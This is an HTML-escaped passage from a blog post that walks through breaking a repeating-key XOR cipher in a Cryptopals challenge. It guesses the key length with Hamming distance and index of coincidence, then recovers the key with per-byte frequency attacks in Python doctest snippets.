Scores closer to 1 means smaller distances and therefore the blocks of ciphertext looks that were xor’d with &lt;em&gt;the same key&lt;/em&gt; as the xor of two blocks looks &lt;em&gt;less random&lt;/em&gt;.
&lt;br /&gt;&lt;br /&gt;
Scores closer to 0 are the opposite: the xor of two blocks still looks random.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This is exactly what &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;key_length_by_hamming_distance&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does: scores how likely a length is computing the Hamming distance between blocks of a given length.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;key_length_by_hamming_distance&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/6.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key_length_by_hamming_distance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;0.291&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key_length_by_hamming_distance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;0.5818&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Instead of testing by hand we can use the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;scoring&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function and explore the full range of possible lengths and score each one keeping only the more likely.&lt;/p&gt;
&lt;p&gt;An educated guess would be to explore the lengths between 1 and 40&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;scoring&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lengths_hd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scoring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                      &lt;span class="n"&gt;score_func&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;key_length_by_hamming_distance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There isn’t a single response, of course.&lt;/p&gt;
&lt;p&gt;This method &lt;em&gt;guesses&lt;/em&gt; the length of the key so we have a set of possible values, ones more likely than others.&lt;/p&gt;
&lt;p&gt;For this, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;scoring&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; returns a &lt;a href="https://en.wikipedia.org/wiki/Fuzzy_set"&gt;Fuzzy Set&lt;/a&gt; where each possible length has a probability linked to it.&lt;/p&gt;
&lt;p&gt;Here are the top 5 more likely lengths that got the highest scores (and the lowest Hamming distance)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lengths_hd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cut_off&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.5819&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.5500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;36&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.5417&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.5362&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;35&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.5357&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="index-of-coincidence"&gt;Index of coincidence&lt;/h2&gt;
&lt;p&gt;But because we are rebels, we will guess the length of the key using another scoring function: the &lt;a href="https://en.wikipedia.org/wiki/Index_of_coincidence"&gt;Index of Coincidences&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;key_length_by_ic&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lengths_ic&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scoring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                      &lt;span class="n"&gt;score_func&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;key_length_by_ic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;min_score&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lengths_ic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cut_off&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.0598&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.0235&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.0232&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.0230&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.0223&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Score of each guess by method.
&lt;br /&gt;&lt;br /&gt;
Both methods agree on being 29 the most likely length but as the plot shows, both methods have quite different behaviours too.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/matasano/kl_guesses.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./z/py/plotting")

&gt;&gt;&gt; from plotting import plt, show                      # byexample: +timeout=10
&gt;&gt;&gt; import pandas as pd                                 # byexample: +timeout=10

&gt;&gt;&gt; guesses = pd.DataFrame({'Hamming Distance': lengths_hd,
...                         'Index of Coincidence': lengths_ic})

&gt;&gt;&gt; with show(save='./posts/matasano/kl_guesses.svg', columns = 2, transparent = True): # byexample: +timeout=600 +skip
...     _ = guesses.plot(style='o', subplots=True, layout=(2, 1))
...
--&gt;
&lt;h2 id="guessing-one-byte-at-time"&gt;Guessing one byte at time&lt;/h2&gt;
&lt;p&gt;What I will do now is to pick the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; … bytes from the ciphertext (multiples of the particular length &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;If the length guessed is correct, all those bytes should had been encrypted with the same byte key.&lt;/p&gt;
&lt;p&gt;And we already know &lt;a href="/articles/2018/03/01/In-XOR-We-Trust.html"&gt;how to break a ciphertext encrypted with a single byte key&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;So we need to do this for all the offsets between 0 and l. In other words:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/matasano/break_repeat_key_transpose.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;To break this, we will need the frequency of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;etaoin&lt;/span&gt; &lt;span class="n"&gt;shrdlu&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (I’m assuming that the plaintext is in ASCII human plain English):&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.fuzzy_set&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FuzzySet&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;most_common_plain_ngrams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FuzzySet&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.072466082820916&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.112705299864243&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.037737020966984&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.112705299864243&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;h&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.054072279749071&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;i&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.061809566907126&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;l&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.035713968820153&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.059884118153344&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;o&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.066609879237984&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.053122864925777&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.05613969707456&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.08035421158641&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;u&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="mf"&gt;0.02447183254807&lt;/span&gt;&lt;span class="p"&gt;,})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, we will break the key byte a byte using a &lt;a href="/articles/2018/03/01/In-XOR-We-Trust.html"&gt;frequency attack&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lengths_hd&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lengths_ic&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;most_likely&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bytes_of_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;byte_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;most_common_plain_ngrams&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;byte_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;byte_guess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;min_score&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;bytes_of_key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="breaking-the-key"&gt;Breaking the key&lt;/h2&gt;
&lt;p&gt;Now what we got is a &lt;em&gt;guess for each byte&lt;/em&gt; of the key.&lt;/p&gt;
&lt;p&gt;All the keys possible are the combination of those:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;       guesses for 1st byte  &amp;lt;-  bytes_of_key[0]
         |        guesses for 2nd byte  &amp;lt;-  bytes_of_key[1]
         |          |      guesses for 3rd byte  &amp;lt;-  bytes_of_key[2]
      --------    -----    -----
    [{a0 a1 a2}, {b0 b1}, {c0 c1}, ...] = bytes_of_key

        a0          b0      c0     ...  = possible key 0
        a0          b0      c1     ...  = possible key 1
        a0          b1      c0     ...  = possible key 2
        a0          b1      c1     ...  = possible key 3
        :           :       :                   :   :
        a2          b1      c1     ...  = possible key&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fortunately we can use the probabilities in our favor.&lt;/p&gt;
&lt;p&gt;Each byte guess is a fuzzy set where some possible bytes are more likely than others:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bytes_of_key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;m&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.1127&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;!&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.0357&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, for the 4th byte, it is more likely that is a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s1"&gt;&amp;#39;m&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; than a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s1"&gt;&amp;#39;!&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;What we need is to join all the sets discard the unlikely keys and just save the most likely:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FuzzySet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes_of_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cut_off&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;120&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='Ck1vcmUga2V5cyB0aGFuIGdyYW1zIG9mIG9yZGluYXJ5IG1hc3MgaW4gdGhlCltvYnNlcnZhYmxlIHVuaXZlcnNlXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9PYnNlcnZhYmxlX3VuaXZlcnNlKQptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
